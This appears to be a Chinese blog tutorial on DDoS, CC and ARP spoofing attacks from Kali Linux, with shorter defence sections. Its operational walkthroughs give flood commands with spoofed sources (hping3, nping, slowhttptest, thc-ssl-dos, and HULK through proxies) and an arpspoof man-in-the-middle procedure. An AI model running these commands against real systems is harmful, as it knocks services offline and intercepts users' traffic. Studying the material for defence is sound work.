目录
一、引言
Kali Linux因其强大的渗透测试工具集,成为安全研究者的必备系统。然而,这些工具若被滥用,可能对网络造成严重威胁。本文将深度拆解DDoS、CC、ARP欺骗三大攻击方式,从原理、工具实战到防御方案,提供全面技术指南。 (警告:本文内容仅限授权测试环境使用!)
二、三种攻击
2.1 DDos攻击
2.1.1 DDos攻击的原理
DDoS(Distributed Denial of Service,分布式拒绝服务攻击)通过控制大量分布式节点(如僵尸网络)向目标发起海量请求,使其资源过载,导致服务不可用。其本质是资源不对称性攻击:攻击者以极低成本(如利用物联网设备)消耗目标高成本资源(服务器、带宽、数据库连接等)。
2.1.2 一般DDos攻击
攻击模型
- 控制层:攻击者通过C&C(Command & Control)服务器操控僵尸网络。
- 攻击层:僵尸设备(肉鸡)发送恶意流量。
- 目标层:受害者服务器、网络设备或应用程序。
首先要下载DDos的数据包
git clone https://github.com/Andysun06/ddos
由于我没开github的加速器,所以连接不到github的服务器,这里我使用的是Gitee代码库,如果连不上github的话,就可以试试其他代码库。
这样就把用于DDos的数据包下载到我们的kali里面了。
接下来,进入到我们所下载的DDos-Attack文件夹中,利用下面的命令:
cd DDos-Attack
进入文件夹之后,用ls命令发现有一个ddos-attack.py文件,接着就利用python3来运行这个python文件。
运行之后就进入到了攻击页面
将公众参数设置好之后就可以进行攻击了。下面就是正在攻击的页面了,正在向目标机器发送大量的恶意流量。
2.1.3 DDos网络层攻击
2.1.3.1 SYN Flood
原理:利用TCP三次握手缺陷,发送大量伪造源IP的SYN包,使服务器维护半开连接队列,耗尽内存和CPU。
特征:
- 高并发SYN包,源IP随机伪造。
- 服务器
netstat
显示大量SYN_RECV
状态连接。
hping3 -S -p 80 --flood --rand-source 目标IP
进行攻击之后,会导致内存占用率迅速增高。
2.1.3.2 UDP Flood
原理:向目标随机端口发送大量UDP包,迫使服务器响应ICMP“端口不可达”报文,消耗带宽和计算资源。
特征:
- 流量峰值集中在UDP协议(如DNS、NTP端口)。
- 无连接状态,难以追踪。
nping --udp -p 53 --rate 100000 目标IP
2.1.4 DDos传输层攻击
针对TCP/UDP协议栈的特定漏洞。
2.1.4.1 ACK Flood
- 原理:发送大量ACK包,迫使服务器在连接表中查找不存在的会话,消耗CPU资源。
- 防御:启用TCP状态检测防火墙(如iptables匹配连接状态)。
2.1.4.2 RST/FIN Flood
- 原理:发送伪造的RST或FIN包,强制关闭合法连接,导致用户掉线。
2.1.5 DDos应用层攻击
2.1.5.1 HTTP Flood
- 原理:高频请求动态页面(如搜索、登录),触发数据库查询或复杂计算。
- 类型:
- GET/POST Flood:简单请求压测。
- Slowloris:保持长时间HTTP连接,耗尽服务器并发数。
slowhttptest -c 1000 -H -i 10 -r 200 -t GET -u http://目标网址
slowhttptest不是kali自带的工具,要自行进行下载,可以用下面的命令来下载。
apt install slowhttptest
运行之后是这个画面即正在发起攻击。
2.1.5.2 SSL/TLS攻击
原理:利用SSL握手消耗服务器CPU(如SSL Renegotiation)。
thc-ssl-dos -l 1000 目标IP 443 # 消耗SSL握手资源
2.1.6 DDoS攻击技术演进
-
IoT僵尸网络:
- 利用弱口令设备(摄像头、路由器)组建僵尸网络(如Mirai、Mozi)。
- 2022年Mozi僵尸网络占全球IoT攻击流量的90%。
-
AI驱动的自适应攻击:
- 动态调整攻击模式绕过WAF规则(如随机化请求参数、切换协议)。
-
勒索型DDoS(RDoS):
- 攻击前发送勒索邮件,威胁支付比特币否则发起攻击。
2.1.7 防御体系构建
2.1.7.1 流量清洗与分流
- 云端清洗:通过CDN或云服务商(如Cloudflare、阿里云高防IP)过滤恶意流量。
- Anycast网络:将流量分散到全球多个数据中心。
2.1.7.2 本地防护配置
SYN Cookie(linux):
sysctl -w net.ipv4.tcp_syncookies=1
连接数限制(Nginx):
limit_conn_zone $binary_remote_addr zone=perip:10m;
limit_conn perip 100; # 单IP最大100连接
2.1.7.3 高级检测技术
- 行为分析:基于机器学习识别异常流量模式。
- 威胁情报:集成IP信誉库(如Spamhaus DROP List)。
2.1.7.4 应急响应
- 黑洞路由:将攻击流量导向null接口。
- ISP协作:联系运营商在骨干网拦截恶意IP。
2.2 CC攻击
2.2.1 CC攻击的原理
CC(Challenge Collapsar,挑战黑洞)攻击是一种针对Web应用层的DDoS攻击,通过模拟海量用户请求,耗尽服务器资源(CPU、内存、数据库连接),导致服务不可用。与网络层DDoS不同,CC攻击更隐蔽,伪装成合法流量,传统防火墙难以识别。
攻击原理分解
- 资源消耗链:
恶意请求 → Web服务器处理 → 数据库查询 → 返回结果
每个环节均消耗资源,尤其是动态页面(如搜索、登录、API接口)。 - 攻击成本:1台普通VPS可发起每秒10万次HTTP请求(取决于带宽)。
2.2.2 直接攻击
- 原理:攻击者直接控制僵尸节点发送HTTP请求。
ab -n 参数1 -c 参数2 网址
参数一是并发数(请求的用户量)
参数二是发送总量(请求的总次数)
出现下图说明正在攻击。
2.2.3 代理攻击
- 原理:通过匿名代理或Tor网络隐藏真实IP,绕过IP封禁。
# 使用HULK配合代理列表(proxy.txt)
python3 hulk.py -u http://目标网址/login -p proxy.txt -c 1000
2.2.4 CC攻击的深度检测与识别
流量特征分析
- 高频请求:单IP每秒请求数(RPS)远超正常用户(如>50次/秒)。
- 规律性行为:固定URL路径、相同User-Agent、无Referer。
- 低请求完成率:攻击工具可能不接收响应,TCP连接快速释放。
2.2.5 CC攻击的防御
CC攻击防御需构建四层体系:
- 网络层:CDN分流 + 云清洗。
- 应用层:WAF规则 + 请求验证。
- 业务层:排队机制 + 资源隔离。
- 监控层:实时日志分析 + AI预警。
防御效果公式: 防御成功率 = 提前检测时间 × 规则精准度 × 响应速度
2.3 ARP欺骗
2.3.1 ARP协议的作用
- 核心功能:将IP地址解析为MAC地址,实现局域网(LAN)内设备通信。
- 工作流程(以主机A访问主机B为例):
- A广播发送ARP请求:“谁的IP是B的IP?请告诉A的MAC。”
- B单播回复ARP响应:“B的IP对应B的MAC。”
- A更新本地ARP缓存表,存储B的IP-MAC映射。
2.3.2 ARP协议的致命缺陷
- 无身份验证:任何设备可发送ARP响应,无论是否被询问。
- 缓存动态更新:新ARP响应自动覆盖旧条目,无需确认合法性。
2.3.3 攻击原理
攻击者伪造ARP响应,篡改目标设备的ARP缓存表,使其误认为攻击者MAC对应合法IP(如网关),从而将流量重定向至攻击者主机,实现中间人攻击(MitM)。
典型攻击场景
- 窃听流量:截取用户与网关之间的明文数据(如HTTP登录信息)。
- 流量篡改:注入恶意代码(如网页挂马)或重定向至钓鱼网站。
- 服务拒绝:丢弃特定流量导致通信中断(如阻断软件更新)。
2.3.4 进行攻击
2.3.4.1 信息收集
发现局域网存活的主机
arp-scan -l
2.3.4.2 下载数据包
ARP欺骗需要用到dsniff数据包(arpspoof 是 dsniff 的一个附属工具,所以我们需要安装的是 dsniff),安装命令如下:
apt-get install dsniff
进行安装,安装完成之后就可以进行arp欺骗了。
2.3.4.3 进行arp欺骗
首先通过以下命令确定你的网卡名称和IP地址:
ifconfig
然后嗅探你所在WLAN下所有设备的IP地址,命令如下:
fping -g 本机IP地址/24
紧接着,输入以下命令:
arpspoof -i 你的网卡名称 -t 攻击目标的IP地址 攻击目标的网关地址
网卡名称就是eth0
还需要攻击目标的网关地址,由于攻击目标和我们实在统一个局域网内的,所以网关地址是一样的,我们可以通过下面的命令来查看我们的网关地址。
Linux:
ip route | grep default
或者还可以通过这个命令来查看。
route -n
Windows:
在Windows系统中,可通过这个命令来查看。
ipconfig
然后即可完成攻击。
如果想停止攻击,按ctrl + z就可以停止攻击了。
三、总结与思考
网络安全的战场永无休止,攻击者不断进化,防御者亦需持续创新。Kali Linux如同一面镜子,既照见威胁,也折射出防御者的智慧与责任。真正的安全,不在于绝对的无懈可击,而在于快速检测、响应与恢复的能力。愿每一位技术从业者,皆以守护之心,驾驭手中利器。
(本文为技术探讨,严禁未授权测试。你的关注与转发,是对安全社区的最佳贡献。)